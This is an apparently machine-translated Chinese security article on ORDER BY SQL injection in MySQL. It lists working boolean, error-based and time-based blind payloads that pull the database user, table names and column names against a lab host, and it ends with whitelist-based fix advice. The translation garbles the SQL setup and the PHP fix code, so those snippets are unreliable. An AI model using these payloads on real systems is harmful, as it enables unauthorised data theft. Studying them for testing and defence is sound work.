前言 最近,我做了一些环回盒后端项目的总结。在箱子的许多公共测量项目中,注入级别的脆弱性比例很大。其中,Order By injection类型漏洞也占很大比例。此类漏洞也是白帽子愿意提交的类型(高额奖金,小额过滤概述)。今天我将分享一些关于Order By的有趣经历。 什么是注射订单 本文讨论的内容是指order by子句后的可控位置,order参数可以控制如下:select * from goods order by $ _GET ['order'] 简单的注射判断 在早期注入大量现有的时,使用order by子句快速猜测表中的列数,然后使用union select语句进行echo。在测试期间,测试者可以修改order参数的值,例如,修改为更大的整数,然后根据echo条件确定特定表中包含的列数。 列号可用于在不知道列名的情况下引用相应的列。但是,经过测试,不可能进行操作,例如order=3-1和order=2不一样。
http://192.168.239.2: 81 /?order=11错误 http://192.168.239.2: 81 /?order=1正常 进一步构建有效载荷 以前的判断并不是绝对的。我们需要构造一个类似于和1=1的Payload,并且1=2来注入数据。
/?order=IF(1=1,name,price)按名称字段排序 /?order=IF(1=2,名称,价格)按价格字段排序 从对等方接收数据时失败 /?order=updatexml(1,if(1=2,1,user()),1)错误 使用extractvalue /?order=extractvalue(1,if(1=1,1,user()))是正确的 /?order=extractvalue(1,if(1=2,1,user()))错误 基于时间的盲人 注意,如果if(1=2,1,SLEEP(2)),休眠时间将变为2当前表中的记录数,例如,执行BENCHMARK(1000000,1100100);等,会对服务器造成一定的拒绝服务攻击。
/?order=if(1=1,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test))正常响应时间 /?order=if(1=2,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test))睡2秒 数据猜测 猜测user()是root @ localhost作为一个例子,因为只能猜到一个比特,你可以使用SUBSTR,SUBSTRING,MID和左右来准确地分割每个子字符串。然后比较操作可以使用=,如regexp等。这里应该注意,喜欢不区分大小写。 可以看出user()的第一个数字是r,ascii代码的十六进制值是0x72: /?order=(select + 1 + regexp + if(substring(user(),1,1)=0x72,1,0x00))正确 /?order=(select + 1 + regexp + if(substring(user(),1,1)=0x71,1,0x00))错误 猜猜当前数据库的表名: /?order=(select+1+regexp+if(substring((select+concat(table_name)from+information_schema.tables+where+table_schema%3ddatabase()+limit+0,1),1,1)=0x67, 1,0x00))正确 /?order=(select+1+regexp+if(substring((select+concat(table_name)from+information_schema.tables+where+table_schema%3ddatabase()+limit+0,1),1,1)=0x66, 1,0x00))错误 猜测指定表名中的列名: /?order=(select+1+regexp+if(substring((select+concat(column_name)from+information_schema.columns+where+table_schema%3ddatabase()+and+table_name%3d0x676f6f6473+limit+0,1),1 ,1)=0x69,1,0x00))正常 从对等方接收数据时失败 Echo json_encode($ reslist); 创建数据库sqlidemo; 使用sqlidemo; 创建表商品(id int(4)not null主键auto_increment,name char(32)not null,price int(4)not null); 插入商品(名称,价格)值('apple',10); 插入商品(名称,价格)值('banana',15); 插入商品(名称,价格)值('peach',20); 修复建议 问题是攻击者通过了测试并了解到应用程序直接引用了数据对象。这种类型的问题可以在OWASP-2013中的A4(不安全对象直接参考)中进行总结。常见的修复方法如下: 使用正则表达式过滤字符串字段中仅显示字母,数字和下划线。 通过白名单想法使用间接对象引用。前端传递引用号或字符串等,用于与后端进行数组映射,可以隐藏数据库数据字典效果,避免直接引用造成的危害。 < PHP $ orderby_whitelist=array( 'apple'=>'apple ASC', 'applerev'=>'apple DESC', 'daterev'=>'banana DESC', 'DEFAULT'=>'桃子' ); $ order=isset($ _ GET ['order'])? $ _GET ['order']:'DEFAULT'; $ order_expr=array_key_exists($ order,$ orderby_whitelist)? $ orderby_whitelist [$ order]: $ orderby_whitelist ['DEFAULT']; Mysql_query('SELECT . FROM . ORDER BY $ order_expr'); 参考资料 http://xdxd.love/2016/03/07/order-by%E6%B3%A8%E5%85%A5%E7%82%B9%E5%88%A9%E7%94%A8%E6%96%B9 %E5%BC%8F / https://dev.mysql.com/doc/refman/5.7/en/control-flow-functions.html https://dev.mysql.com/doc/refman/5.7/en/string-functions.html [原文:Vulbox 由 安全脉冲编辑发布]